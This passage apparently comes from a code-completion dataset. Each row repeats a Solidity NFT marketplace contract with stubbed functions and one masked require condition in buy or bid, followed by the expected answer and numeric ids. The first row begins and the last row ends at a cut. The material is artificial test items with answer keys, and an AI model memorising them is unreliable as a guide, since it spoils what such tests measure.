bool isCanceled; // no buyer or no bidder 만 가능
bool isSettled; // 정산되었는지 여부
}
mapping (uint256 => SaleData) private _sales; //mapping from uint256 to sales data
uint256 private _currentSalesId = 0; //현재 salesId
uint256 private _feeRatio = 10; // 수수료율 100% = 100
address private _feeTo; // 거래수수료 수취주소
uint256 private _interval = 15 minutes; // additionl bidding time [seconds]
//uint256 private _duration = 1 days; // 1 days total auction length [seconds]
NFTBaseLike _nftBase; // ERC1155
ERC20TokenListLike _erc20s; // payment ERC20 Token List
//event
event Open(uint256 id,address indexed seller,bool isAuction,uint256 nftId,uint256 volume,address indexed erc20,uint256 price,uint256 start, uint256 end);
event Buy(uint256 id,address indexed buyer,uint256 amt);
event Clear(uint256 id);
event Cancel(uint256 id);
event Bid(uint256 id,address indexed guy, uint256 amount,uint256 end);
//event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value);
//event Transfer(address indexed from, address indexed to, uint256 value);
/* Keccak256
Open(uint256,address,bool,uint256,uint256,address,uint256) : 0x0e884c2228e2e8cc975ba6a7d1c29574c38bda6a723957411fd523ad0c03d04e
Buy(uint256,address,uint256) : 0x3b599f6217e39be59216b60e543ce0d4c7d534fe64dd9d962334924e7819894e
Clear(uint256) : 0x6e4c858d91fb3af82ec04ba219c6b12542326a62accb6ffac4cf87ba00ba95a3
Cancel(uint256) : 0x8bf30e7ff26833413be5f69e1d373744864d600b664204b4a2f9844a8eedb9ed
Bid(uint256,address,uint256,uint256) : 0x3138d8d517460c959fb333d4e8d87ea984f1cf15d6742c02e2955dd27a622b70
TransferSingle(address,address,address,uint256,uint256) : 0xc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f62
Transfer(address,address,uint256) : 0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef
*/
/**
* @dev feeTo address, ERC1155 Contract, ERC20 Payment Token List 설정
*/
constructor(NFTBaseLike nftBase_,ERC20TokenListLike erc20s_) {
}
/**
* @dev feeRatio 설정
*
* Requirements:
*
* - 100% 이하
*/
function setFeeRatio(uint256 feeRatio_) external onlyOwner {
}
function getFeeRatio() external view returns(uint256) {
}
/**
* @dev feeTo Address 설정
*
* Requirements:
*
* - not zero address
*/
function setFeeTo(address feeTo_) external onlyOwner {
}
function getFeeTo() external view returns(address) {
}
/**
* @dev auction 연장 시간 설정 [minites]
*
* Requirements:
*
*/
function setInterval(uint256 interval_) external onlyOwner {
}
function getInterval() external view returns(uint256) {
}
/**
* @dev auction 시간 설정 [minites]
*
* Requirements:
*
* - not zero
*/
/*
function setDuration(uint256 duration_) external onlyOwner {
require(duration_ > 0,"NFTMarket/duration_is_0");
_duration = duration_;
}
function getDuration() external view returns(uint256) {
return _duration;
}
*/
/**
* @dev open : 판매시작, NFT escrow , SaleData 등록
* args
* isAuction : true - auction, false - fixed_price
* nftId : ERC1155 mint token Id
* volume : 수량
* erc20 : payment ERC20 Token
* price : auction : starting price, fixed_price : sellig unit price
*
*
* Requirements:
*
* 수량(volume) > 1 인 경우 fixed_price 만 가능
* 수량 > 0, 가격 > 0
* 결제 ERC20 contract : ERC20TokenList 중의 하나
*
* Event : Open, TransferSingle(NFTBase)
*
* Return salesId
*/
function open(bool isAuction,uint256 nftId,uint256 volume,address erc20, uint256 price,uint256 start, uint256 end) public returns (uint256 id) {
}
/**
* @dev buy : 바로구매, 정산
* args
* id : saleId
* amt : 구매수량
* Requirements:
*
* auction이 아니고 (fixed_price 이어야)
* buyer가 확정되지 않아야 하고 (settle 되어지 않아야)
* 취소상태가 아니어야 함
*
* Event : Buy,TransferSingle(NFTBase),Transfer(ERC20)
*
*/
function buy(uint256 id,uint256 amt) public {
require(id <= _currentSalesId,"NFTMarket/sale_is_not_open");
require(<FILL_ME>)
require(!_sales[id].isCanceled,"NFTMarket/sale_already_cancelled");
require(!_sales[id].isSettled,"NFTMarket/sale_already_settled");
require(amt > 0,"NFTMarket/buy_must_>_0");
require(amt <= _sales[id].volume,"NFTMarket/buy_should_<=_sale_volume");
_sales[id].buyer = _msgSender();
settle(id,amt);
emit Buy(id,_msgSender(),amt);
}
/**
* @dev bid : 경매 참여, ERC20 Token escrow, 경매시간 연장
* args :
* id : salesId
* amount : bidding 금액
* bidder = msg.sender
*
* Requirements:
*
* auction이고
* 취소상태가 아니고
* 경매 종료시간이 지나지 않아야 함
* bidding 금액이 기존 금액(첫 bidding인경우 seller가 제시한 금액)보다 커야함
*
* Event : Bid,Transfer(ERC20)
*/
function bid(uint256 id,uint256 amount) public {
}
/**
* @dev clear : 경매 정리, 정산
* args :
* id : salesId
* amount : bidding 금액
* bidder = msg.sender
*
* Requirements:
*
* id가 존재해야 하고
* auction이고
* 취소상태가 아니고
* 아직 정산되지 않아야 하고
* 경매 종료시간이 지나야 하고
* caller는 sales[id].seller 이어야 함
*
* Event : Clear,TransferSingle(NFTBase),Transfer(ERC20)
*/
function clear(uint256 id) public {
}
/**
* @dev cancel : 세일 취소, escrow 반환
* args :
* id : salesId
* amount : bidding 금액
* bidder = msg.sender
*
* Requirements:
* id가 존재해야 하고
* 취소상태가 아니고
* 이미 정산되지 않아야 하고
* 경매의 경우 Bidder가 없어야
* caller는 sales[id].seller 이어야 함
*
* Event : Cancel,TransferSingle(NFTBase)
*/
function cancel(uint256 id) public {
}
/**
* @dev settle : 정산
* 1. 수수료 정산 : this -> feeTo
* 2. royalty 정산 : this -> creator
* 3. nft 오너쉽 정리 : this -> buyer
*
* args :
* id : salesId
* amt : number of nft in fixed-price buy or auction
*
* Requirements:
*
* - feeRatio + royaltyRatio < 100
*
* Event : TransferSingle(NFTBase), Transfer(ERC20)
*/
function settle(uint256 id,uint256 amt) private {
}
function getAuctionEnd(uint256 id) external view returns (uint256)
{
}
/**
* @dev getSaleData : SaleData Return
*/
function getSaleData(uint256 id) external view
returns (
address
,bool
,uint256
,uint256
,address
,uint256
,uint256
,address
,uint256
,uint256
,bool
,bool
) {
}
}
| !_sales[id].isAuction,"NFTMarket/sale_is_auction" | 341,370 | !_sales[id].isAuction |
"NFTMarket/sale_already_cancelled" | // SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
import "./math/SafeMath.sol";
import "./token/IERC20.sol";
import "./access/Ownable.sol";
import "./token/IERC1155.sol";
import "./NFTBase.sol";
import "./ERC20TokenList.sol";
/**
*
* @dev Implementation of Market [지정가판매(fixed_price), 경매(auction)]
*
*/
// interface for ERC1155
interface NFTBaseLike {
function getCreator(uint256 id) external view returns (address);
function getRoyaltyRatio(uint256 id) external view returns (uint256);
function safeTransferFrom(address from, address to, uint256 id, uint256 amount, bytes calldata data) external;
}
// interface for payment ERC20 Token List
interface ERC20TokenListLike {
function contains(address addr) external view returns (bool);
}
contract NFTMarket is Ownable
{
using SafeMath for uint256;
struct SaleData {
address seller;
bool isAuction; // auction true, fixed_price false
uint256 nftId; // ERC1155 Token Id
uint256 volume; // number of nft, volume >= 2 -> isAuction=false, remnant value : number decrease after buying
address erc20; // payment erc20 token
uint256 price; // auction : starting price, fixed_price : sellig unit price
uint256 bid; // bidding price
address buyer; // fixed_price : 구매자 auction : bidder, 최종구매자
uint256 start; // auction start time [unix epoch time] unit : sec
uint256 end; // auction expiry time [unix epoch time] unit : sec
bool isCanceled; // no buyer or no bidder 만 가능
bool isSettled; // 정산되었는지 여부
}
mapping (uint256 => SaleData) private _sales; //mapping from uint256 to sales data
uint256 private _currentSalesId = 0; //현재 salesId
uint256 private _feeRatio = 10; // 수수료율 100% = 100
address private _feeTo; // 거래수수료 수취주소
uint256 private _interval = 15 minutes; // additionl bidding time [seconds]
//uint256 private _duration = 1 days; // 1 days total auction length [seconds]
NFTBaseLike _nftBase; // ERC1155
ERC20TokenListLike _erc20s; // payment ERC20 Token List
//event
event Open(uint256 id,address indexed seller,bool isAuction,uint256 nftId,uint256 volume,address indexed erc20,uint256 price,uint256 start, uint256 end);
event Buy(uint256 id,address indexed buyer,uint256 amt);
event Clear(uint256 id);
event Cancel(uint256 id);
event Bid(uint256 id,address indexed guy, uint256 amount,uint256 end);
//event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value);
//event Transfer(address indexed from, address indexed to, uint256 value);
/* Keccak256
Open(uint256,address,bool,uint256,uint256,address,uint256) : 0x0e884c2228e2e8cc975ba6a7d1c29574c38bda6a723957411fd523ad0c03d04e
Buy(uint256,address,uint256) : 0x3b599f6217e39be59216b60e543ce0d4c7d534fe64dd9d962334924e7819894e
Clear(uint256) : 0x6e4c858d91fb3af82ec04ba219c6b12542326a62accb6ffac4cf87ba00ba95a3
Cancel(uint256) : 0x8bf30e7ff26833413be5f69e1d373744864d600b664204b4a2f9844a8eedb9ed
Bid(uint256,address,uint256,uint256) : 0x3138d8d517460c959fb333d4e8d87ea984f1cf15d6742c02e2955dd27a622b70
TransferSingle(address,address,address,uint256,uint256) : 0xc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f62
Transfer(address,address,uint256) : 0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef
*/
/**
* @dev feeTo address, ERC1155 Contract, ERC20 Payment Token List 설정
*/
constructor(NFTBaseLike nftBase_,ERC20TokenListLike erc20s_) {
}
/**
* @dev feeRatio 설정
*
* Requirements:
*
* - 100% 이하
*/
function setFeeRatio(uint256 feeRatio_) external onlyOwner {
}
function getFeeRatio() external view returns(uint256) {
}
/**
* @dev feeTo Address 설정
*
* Requirements:
*
* - not zero address
*/
function setFeeTo(address feeTo_) external onlyOwner {
}
function getFeeTo() external view returns(address) {
}
/**
* @dev auction 연장 시간 설정 [minites]
*
* Requirements:
*
*/
function setInterval(uint256 interval_) external onlyOwner {
}
function getInterval() external view returns(uint256) {
}
/**
* @dev auction 시간 설정 [minites]
*
* Requirements:
*
* - not zero
*/
/*
function setDuration(uint256 duration_) external onlyOwner {
require(duration_ > 0,"NFTMarket/duration_is_0");
_duration = duration_;
}
function getDuration() external view returns(uint256) {
return _duration;
}
*/
/**
* @dev open : 판매시작, NFT escrow , SaleData 등록
* args
* isAuction : true - auction, false - fixed_price
* nftId : ERC1155 mint token Id
* volume : 수량
* erc20 : payment ERC20 Token
* price : auction : starting price, fixed_price : sellig unit price
*
*
* Requirements:
*
* 수량(volume) > 1 인 경우 fixed_price 만 가능
* 수량 > 0, 가격 > 0
* 결제 ERC20 contract : ERC20TokenList 중의 하나
*
* Event : Open, TransferSingle(NFTBase)
*
* Return salesId
*/
function open(bool isAuction,uint256 nftId,uint256 volume,address erc20, uint256 price,uint256 start, uint256 end) public returns (uint256 id) {
}
/**
* @dev buy : 바로구매, 정산
* args
* id : saleId
* amt : 구매수량
* Requirements:
*
* auction이 아니고 (fixed_price 이어야)
* buyer가 확정되지 않아야 하고 (settle 되어지 않아야)
* 취소상태가 아니어야 함
*
* Event : Buy,TransferSingle(NFTBase),Transfer(ERC20)
*
*/
function buy(uint256 id,uint256 amt) public {
require(id <= _currentSalesId,"NFTMarket/sale_is_not_open");
require(!_sales[id].isAuction, "NFTMarket/sale_is_auction");
require(<FILL_ME>)
require(!_sales[id].isSettled,"NFTMarket/sale_already_settled");
require(amt > 0,"NFTMarket/buy_must_>_0");
require(amt <= _sales[id].volume,"NFTMarket/buy_should_<=_sale_volume");
_sales[id].buyer = _msgSender();
settle(id,amt);
emit Buy(id,_msgSender(),amt);
}
/**
* @dev bid : 경매 참여, ERC20 Token escrow, 경매시간 연장
* args :
* id : salesId
* amount : bidding 금액
* bidder = msg.sender
*
* Requirements:
*
* auction이고
* 취소상태가 아니고
* 경매 종료시간이 지나지 않아야 함
* bidding 금액이 기존 금액(첫 bidding인경우 seller가 제시한 금액)보다 커야함
*
* Event : Bid,Transfer(ERC20)
*/
function bid(uint256 id,uint256 amount) public {
}
/**
* @dev clear : 경매 정리, 정산
* args :
* id : salesId
* amount : bidding 금액
* bidder = msg.sender
*
* Requirements:
*
* id가 존재해야 하고
* auction이고
* 취소상태가 아니고
* 아직 정산되지 않아야 하고
* 경매 종료시간이 지나야 하고
* caller는 sales[id].seller 이어야 함
*
* Event : Clear,TransferSingle(NFTBase),Transfer(ERC20)
*/
function clear(uint256 id) public {
}
/**
* @dev cancel : 세일 취소, escrow 반환
* args :
* id : salesId
* amount : bidding 금액
* bidder = msg.sender
*
* Requirements:
* id가 존재해야 하고
* 취소상태가 아니고
* 이미 정산되지 않아야 하고
* 경매의 경우 Bidder가 없어야
* caller는 sales[id].seller 이어야 함
*
* Event : Cancel,TransferSingle(NFTBase)
*/
function cancel(uint256 id) public {
}
/**
* @dev settle : 정산
* 1. 수수료 정산 : this -> feeTo
* 2. royalty 정산 : this -> creator
* 3. nft 오너쉽 정리 : this -> buyer
*
* args :
* id : salesId
* amt : number of nft in fixed-price buy or auction
*
* Requirements:
*
* - feeRatio + royaltyRatio < 100
*
* Event : TransferSingle(NFTBase), Transfer(ERC20)
*/
function settle(uint256 id,uint256 amt) private {
}
function getAuctionEnd(uint256 id) external view returns (uint256)
{
}
/**
* @dev getSaleData : SaleData Return
*/
function getSaleData(uint256 id) external view
returns (
address
,bool
,uint256
,uint256
,address
,uint256
,uint256
,address
,uint256
,uint256
,bool
,bool
) {
}
}
| !_sales[id].isCanceled,"NFTMarket/sale_already_cancelled" | 341,370 | !_sales[id].isCanceled |
"NFTMarket/sale_already_settled" | // SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
import "./math/SafeMath.sol";
import "./token/IERC20.sol";
import "./access/Ownable.sol";
import "./token/IERC1155.sol";
import "./NFTBase.sol";
import "./ERC20TokenList.sol";
/**
*
* @dev Implementation of Market [지정가판매(fixed_price), 경매(auction)]
*
*/
// interface for ERC1155
interface NFTBaseLike {
function getCreator(uint256 id) external view returns (address);
function getRoyaltyRatio(uint256 id) external view returns (uint256);
function safeTransferFrom(address from, address to, uint256 id, uint256 amount, bytes calldata data) external;
}
// interface for payment ERC20 Token List
interface ERC20TokenListLike {
function contains(address addr) external view returns (bool);
}
contract NFTMarket is Ownable
{
using SafeMath for uint256;
struct SaleData {
address seller;
bool isAuction; // auction true, fixed_price false
uint256 nftId; // ERC1155 Token Id
uint256 volume; // number of nft, volume >= 2 -> isAuction=false, remnant value : number decrease after buying
address erc20; // payment erc20 token
uint256 price; // auction : starting price, fixed_price : sellig unit price
uint256 bid; // bidding price
address buyer; // fixed_price : 구매자 auction : bidder, 최종구매자
uint256 start; // auction start time [unix epoch time] unit : sec
uint256 end; // auction expiry time [unix epoch time] unit : sec
bool isCanceled; // no buyer or no bidder 만 가능
bool isSettled; // 정산되었는지 여부
}
mapping (uint256 => SaleData) private _sales; //mapping from uint256 to sales data
uint256 private _currentSalesId = 0; //현재 salesId
uint256 private _feeRatio = 10; // 수수료율 100% = 100
address private _feeTo; // 거래수수료 수취주소
uint256 private _interval = 15 minutes; // additionl bidding time [seconds]
//uint256 private _duration = 1 days; // 1 days total auction length [seconds]
NFTBaseLike _nftBase; // ERC1155
ERC20TokenListLike _erc20s; // payment ERC20 Token List
//event
event Open(uint256 id,address indexed seller,bool isAuction,uint256 nftId,uint256 volume,address indexed erc20,uint256 price,uint256 start, uint256 end);
event Buy(uint256 id,address indexed buyer,uint256 amt);
event Clear(uint256 id);
event Cancel(uint256 id);
event Bid(uint256 id,address indexed guy, uint256 amount,uint256 end);
//event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value);
//event Transfer(address indexed from, address indexed to, uint256 value);
/* Keccak256
Open(uint256,address,bool,uint256,uint256,address,uint256) : 0x0e884c2228e2e8cc975ba6a7d1c29574c38bda6a723957411fd523ad0c03d04e
Buy(uint256,address,uint256) : 0x3b599f6217e39be59216b60e543ce0d4c7d534fe64dd9d962334924e7819894e
Clear(uint256) : 0x6e4c858d91fb3af82ec04ba219c6b12542326a62accb6ffac4cf87ba00ba95a3
Cancel(uint256) : 0x8bf30e7ff26833413be5f69e1d373744864d600b664204b4a2f9844a8eedb9ed
Bid(uint256,address,uint256,uint256) : 0x3138d8d517460c959fb333d4e8d87ea984f1cf15d6742c02e2955dd27a622b70
TransferSingle(address,address,address,uint256,uint256) : 0xc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f62
Transfer(address,address,uint256) : 0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef
*/
/**
* @dev feeTo address, ERC1155 Contract, ERC20 Payment Token List 설정
*/
constructor(NFTBaseLike nftBase_,ERC20TokenListLike erc20s_) {
}
/**
* @dev feeRatio 설정
*
* Requirements:
*
* - 100% 이하
*/
function setFeeRatio(uint256 feeRatio_) external onlyOwner {
}
function getFeeRatio() external view returns(uint256) {
}
/**
* @dev feeTo Address 설정
*
* Requirements:
*
* - not zero address
*/
function setFeeTo(address feeTo_) external onlyOwner {
}
function getFeeTo() external view returns(address) {
}
/**
* @dev auction 연장 시간 설정 [minites]
*
* Requirements:
*
*/
function setInterval(uint256 interval_) external onlyOwner {
}
function getInterval() external view returns(uint256) {
}
/**
* @dev auction 시간 설정 [minites]
*
* Requirements:
*
* - not zero
*/
/*
function setDuration(uint256 duration_) external onlyOwner {
require(duration_ > 0,"NFTMarket/duration_is_0");
_duration = duration_;
}
function getDuration() external view returns(uint256) {
return _duration;
}
*/
/**
* @dev open : 판매시작, NFT escrow , SaleData 등록
* args
* isAuction : true - auction, false - fixed_price
* nftId : ERC1155 mint token Id
* volume : 수량
* erc20 : payment ERC20 Token
* price : auction : starting price, fixed_price : sellig unit price
*
*
* Requirements:
*
* 수량(volume) > 1 인 경우 fixed_price 만 가능
* 수량 > 0, 가격 > 0
* 결제 ERC20 contract : ERC20TokenList 중의 하나
*
* Event : Open, TransferSingle(NFTBase)
*
* Return salesId
*/
function open(bool isAuction,uint256 nftId,uint256 volume,address erc20, uint256 price,uint256 start, uint256 end) public returns (uint256 id) {
}
/**
* @dev buy : 바로구매, 정산
* args
* id : saleId
* amt : 구매수량
* Requirements:
*
* auction이 아니고 (fixed_price 이어야)
* buyer가 확정되지 않아야 하고 (settle 되어지 않아야)
* 취소상태가 아니어야 함
*
* Event : Buy,TransferSingle(NFTBase),Transfer(ERC20)
*
*/
function buy(uint256 id,uint256 amt) public {
require(id <= _currentSalesId,"NFTMarket/sale_is_not_open");
require(!_sales[id].isAuction, "NFTMarket/sale_is_auction");
require(!_sales[id].isCanceled,"NFTMarket/sale_already_cancelled");
require(<FILL_ME>)
require(amt > 0,"NFTMarket/buy_must_>_0");
require(amt <= _sales[id].volume,"NFTMarket/buy_should_<=_sale_volume");
_sales[id].buyer = _msgSender();
settle(id,amt);
emit Buy(id,_msgSender(),amt);
}
/**
* @dev bid : 경매 참여, ERC20 Token escrow, 경매시간 연장
* args :
* id : salesId
* amount : bidding 금액
* bidder = msg.sender
*
* Requirements:
*
* auction이고
* 취소상태가 아니고
* 경매 종료시간이 지나지 않아야 함
* bidding 금액이 기존 금액(첫 bidding인경우 seller가 제시한 금액)보다 커야함
*
* Event : Bid,Transfer(ERC20)
*/
function bid(uint256 id,uint256 amount) public {
}
/**
* @dev clear : 경매 정리, 정산
* args :
* id : salesId
* amount : bidding 금액
* bidder = msg.sender
*
* Requirements:
*
* id가 존재해야 하고
* auction이고
* 취소상태가 아니고
* 아직 정산되지 않아야 하고
* 경매 종료시간이 지나야 하고
* caller는 sales[id].seller 이어야 함
*
* Event : Clear,TransferSingle(NFTBase),Transfer(ERC20)
*/
function clear(uint256 id) public {
}
/**
* @dev cancel : 세일 취소, escrow 반환
* args :
* id : salesId
* amount : bidding 금액
* bidder = msg.sender
*
* Requirements:
* id가 존재해야 하고
* 취소상태가 아니고
* 이미 정산되지 않아야 하고
* 경매의 경우 Bidder가 없어야
* caller는 sales[id].seller 이어야 함
*
* Event : Cancel,TransferSingle(NFTBase)
*/
function cancel(uint256 id) public {
}
/**
* @dev settle : 정산
* 1. 수수료 정산 : this -> feeTo
* 2. royalty 정산 : this -> creator
* 3. nft 오너쉽 정리 : this -> buyer
*
* args :
* id : salesId
* amt : number of nft in fixed-price buy or auction
*
* Requirements:
*
* - feeRatio + royaltyRatio < 100
*
* Event : TransferSingle(NFTBase), Transfer(ERC20)
*/
function settle(uint256 id,uint256 amt) private {
}
function getAuctionEnd(uint256 id) external view returns (uint256)
{
}
/**
* @dev getSaleData : SaleData Return
*/
function getSaleData(uint256 id) external view
returns (
address
,bool
,uint256
,uint256
,address
,uint256
,uint256
,address
,uint256
,uint256
,bool
,bool
) {
}
}
| !_sales[id].isSettled,"NFTMarket/sale_already_settled" | 341,370 | !_sales[id].isSettled |
"NFTMarket/sale_should_be_auction" | // SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
import "./math/SafeMath.sol";
import "./token/IERC20.sol";
import "./access/Ownable.sol";
import "./token/IERC1155.sol";
import "./NFTBase.sol";
import "./ERC20TokenList.sol";
/**
*
* @dev Implementation of Market [지정가판매(fixed_price), 경매(auction)]
*
*/
// interface for ERC1155
interface NFTBaseLike {
function getCreator(uint256 id) external view returns (address);
function getRoyaltyRatio(uint256 id) external view returns (uint256);
function safeTransferFrom(address from, address to, uint256 id, uint256 amount, bytes calldata data) external;
}
// interface for payment ERC20 Token List
interface ERC20TokenListLike {
function contains(address addr) external view returns (bool);
}
contract NFTMarket is Ownable
{
using SafeMath for uint256;
struct SaleData {
address seller;
bool isAuction; // auction true, fixed_price false
uint256 nftId; // ERC1155 Token Id
uint256 volume; // number of nft, volume >= 2 -> isAuction=false, remnant value : number decrease after buying
address erc20; // payment erc20 token
uint256 price; // auction : starting price, fixed_price : sellig unit price
uint256 bid; // bidding price
address buyer; // fixed_price : 구매자 auction : bidder, 최종구매자
uint256 start; // auction start time [unix epoch time] unit : sec
uint256 end; // auction expiry time [unix epoch time] unit : sec
bool isCanceled; // no buyer or no bidder 만 가능
bool isSettled; // 정산되었는지 여부
}
mapping (uint256 => SaleData) private _sales; //mapping from uint256 to sales data
uint256 private _currentSalesId = 0; //현재 salesId
uint256 private _feeRatio = 10; // 수수료율 100% = 100
address private _feeTo; // 거래수수료 수취주소
uint256 private _interval = 15 minutes; // additionl bidding time [seconds]
//uint256 private _duration = 1 days; // 1 days total auction length [seconds]
NFTBaseLike _nftBase; // ERC1155
ERC20TokenListLike _erc20s; // payment ERC20 Token List
//event
event Open(uint256 id,address indexed seller,bool isAuction,uint256 nftId,uint256 volume,address indexed erc20,uint256 price,uint256 start, uint256 end);
event Buy(uint256 id,address indexed buyer,uint256 amt);
event Clear(uint256 id);
event Cancel(uint256 id);
event Bid(uint256 id,address indexed guy, uint256 amount,uint256 end);
//event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value);
//event Transfer(address indexed from, address indexed to, uint256 value);
/* Keccak256
Open(uint256,address,bool,uint256,uint256,address,uint256) : 0x0e884c2228e2e8cc975ba6a7d1c29574c38bda6a723957411fd523ad0c03d04e
Buy(uint256,address,uint256) : 0x3b599f6217e39be59216b60e543ce0d4c7d534fe64dd9d962334924e7819894e
Clear(uint256) : 0x6e4c858d91fb3af82ec04ba219c6b12542326a62accb6ffac4cf87ba00ba95a3
Cancel(uint256) : 0x8bf30e7ff26833413be5f69e1d373744864d600b664204b4a2f9844a8eedb9ed
Bid(uint256,address,uint256,uint256) : 0x3138d8d517460c959fb333d4e8d87ea984f1cf15d6742c02e2955dd27a622b70
TransferSingle(address,address,address,uint256,uint256) : 0xc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f62
Transfer(address,address,uint256) : 0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef
*/
/**
* @dev feeTo address, ERC1155 Contract, ERC20 Payment Token List 설정
*/
constructor(NFTBaseLike nftBase_,ERC20TokenListLike erc20s_) {
}
/**
* @dev feeRatio 설정
*
* Requirements:
*
* - 100% 이하
*/
function setFeeRatio(uint256 feeRatio_) external onlyOwner {
}
function getFeeRatio() external view returns(uint256) {
}
/**
* @dev feeTo Address 설정
*
* Requirements:
*
* - not zero address
*/
function setFeeTo(address feeTo_) external onlyOwner {
}
function getFeeTo() external view returns(address) {
}
/**
* @dev auction 연장 시간 설정 [minites]
*
* Requirements:
*
*/
function setInterval(uint256 interval_) external onlyOwner {
}
function getInterval() external view returns(uint256) {
}
/**
* @dev auction 시간 설정 [minites]
*
* Requirements:
*
* - not zero
*/
/*
function setDuration(uint256 duration_) external onlyOwner {
require(duration_ > 0,"NFTMarket/duration_is_0");
_duration = duration_;
}
function getDuration() external view returns(uint256) {
return _duration;
}
*/
/**
* @dev open : 판매시작, NFT escrow , SaleData 등록
* args
* isAuction : true - auction, false - fixed_price
* nftId : ERC1155 mint token Id
* volume : 수량
* erc20 : payment ERC20 Token
* price : auction : starting price, fixed_price : sellig unit price
*
*
* Requirements:
*
* 수량(volume) > 1 인 경우 fixed_price 만 가능
* 수량 > 0, 가격 > 0
* 결제 ERC20 contract : ERC20TokenList 중의 하나
*
* Event : Open, TransferSingle(NFTBase)
*
* Return salesId
*/
function open(bool isAuction,uint256 nftId,uint256 volume,address erc20, uint256 price,uint256 start, uint256 end) public returns (uint256 id) {
}
/**
* @dev buy : 바로구매, 정산
* args
* id : saleId
* amt : 구매수량
* Requirements:
*
* auction이 아니고 (fixed_price 이어야)
* buyer가 확정되지 않아야 하고 (settle 되어지 않아야)
* 취소상태가 아니어야 함
*
* Event : Buy,TransferSingle(NFTBase),Transfer(ERC20)
*
*/
function buy(uint256 id,uint256 amt) public {
}
/**
* @dev bid : 경매 참여, ERC20 Token escrow, 경매시간 연장
* args :
* id : salesId
* amount : bidding 금액
* bidder = msg.sender
*
* Requirements:
*
* auction이고
* 취소상태가 아니고
* 경매 종료시간이 지나지 않아야 함
* bidding 금액이 기존 금액(첫 bidding인경우 seller가 제시한 금액)보다 커야함
*
* Event : Bid,Transfer(ERC20)
*/
function bid(uint256 id,uint256 amount) public {
require(id <= _currentSalesId,"NFTMarket/sale_is_not_open");
require(<FILL_ME>)
require(!_sales[id].isCanceled,"NFTMarket/sale_already_cancelled");
require(!_sales[id].isSettled,"NFTMarket/sale_already_settled");
require(block.timestamp >= _sales[id].start, "NFTMarket/auction_doesn't_start");
require(_sales[id].end >= block.timestamp, "NFTMarket/auction_finished");
require(amount > _sales[id].bid, "NFTMarket/bid_should_be_higher");
IERC20 erc20Token = IERC20(_sales[id].erc20);
erc20Token.transferFrom(_msgSender(),address(this),amount);
// not first bidding
if(_sales[id].buyer != address(0)) {
erc20Token.transfer(_sales[id].buyer,_sales[id].bid);
}
_sales[id].buyer = _msgSender();
_sales[id].bid = amount;
// auction end time increase
if(block.timestamp < _sales[id].end && _sales[id].end < block.timestamp + _interval)
_sales[id].end = _sales[id].end.add(_interval);
emit Bid(id,_msgSender(),amount,_sales[id].end);
}
/**
* @dev clear : 경매 정리, 정산
* args :
* id : salesId
* amount : bidding 금액
* bidder = msg.sender
*
* Requirements:
*
* id가 존재해야 하고
* auction이고
* 취소상태가 아니고
* 아직 정산되지 않아야 하고
* 경매 종료시간이 지나야 하고
* caller는 sales[id].seller 이어야 함
*
* Event : Clear,TransferSingle(NFTBase),Transfer(ERC20)
*/
function clear(uint256 id) public {
}
/**
* @dev cancel : 세일 취소, escrow 반환
* args :
* id : salesId
* amount : bidding 금액
* bidder = msg.sender
*
* Requirements:
* id가 존재해야 하고
* 취소상태가 아니고
* 이미 정산되지 않아야 하고
* 경매의 경우 Bidder가 없어야
* caller는 sales[id].seller 이어야 함
*
* Event : Cancel,TransferSingle(NFTBase)
*/
function cancel(uint256 id) public {
}
/**
* @dev settle : 정산
* 1. 수수료 정산 : this -> feeTo
* 2. royalty 정산 : this -> creator
* 3. nft 오너쉽 정리 : this -> buyer
*
* args :
* id : salesId
* amt : number of nft in fixed-price buy or auction
*
* Requirements:
*
* - feeRatio + royaltyRatio < 100
*
* Event : TransferSingle(NFTBase), Transfer(ERC20)
*/
function settle(uint256 id,uint256 amt) private {
}
function getAuctionEnd(uint256 id) external view returns (uint256)
{
}
/**
* @dev getSaleData : SaleData Return
*/
function getSaleData(uint256 id) external view
returns (
address
,bool
,uint256
,uint256
,address
,uint256
,uint256
,address
,uint256
,uint256
,bool
,bool
) {
}
}
| _sales[id].isAuction,"NFTMarket/sale_should_be_auction" | 341,370 | _sales[id].isAuction |
"NFTMarket/auction_finished" | // SPDX-License-Identifier: MIT
pragma solidity 0.7.6;
import "./math/SafeMath.sol";
import "./token/IERC20.sol";
import "./access/Ownable.sol";
import "./token/IERC1155.sol";
import "./NFTBase.sol";
import "./ERC20TokenList.sol";
/**
*
* @dev Implementation of Market [지정가판매(fixed_price), 경매(auction)]
*
*/
// interface for ERC1155
interface NFTBaseLike {
function getCreator(uint256 id) external view returns (address);
function getRoyaltyRatio(uint256 id) external view returns (uint256);
function safeTransferFrom(address from, address to, uint256 id, uint256 amount, bytes calldata data) external;
}
// interface for payment ERC20 Token List
interface ERC20TokenListLike {
function contains(address addr) external view returns (bool);
}
contract NFTMarket is Ownable
{
using SafeMath for uint256;
struct SaleData {
address seller;
bool isAuction; // auction true, fixed_price false
uint256 nftId; // ERC1155 Token Id
uint256 volume; // number of nft, volume >= 2 -> isAuction=false, remnant value : number decrease after buying
address erc20; // payment erc20 token
uint256 price; // auction : starting price, fixed_price : sellig unit price
uint256 bid; // bidding price
address buyer; // fixed_price : 구매자 auction : bidder, 최종구매자
uint256 start; // auction start time [unix epoch time] unit : sec
uint256 end; // auction expiry time [unix epoch time] unit : sec
bool isCanceled; // no buyer or no bidder 만 가능
bool isSettled; // 정산되었는지 여부
}
mapping (uint256 => SaleData) private _sales; //mapping from uint256 to sales data
uint256 private _currentSalesId = 0; //현재 salesId
uint256 private _feeRatio = 10; // 수수료율 100% = 100
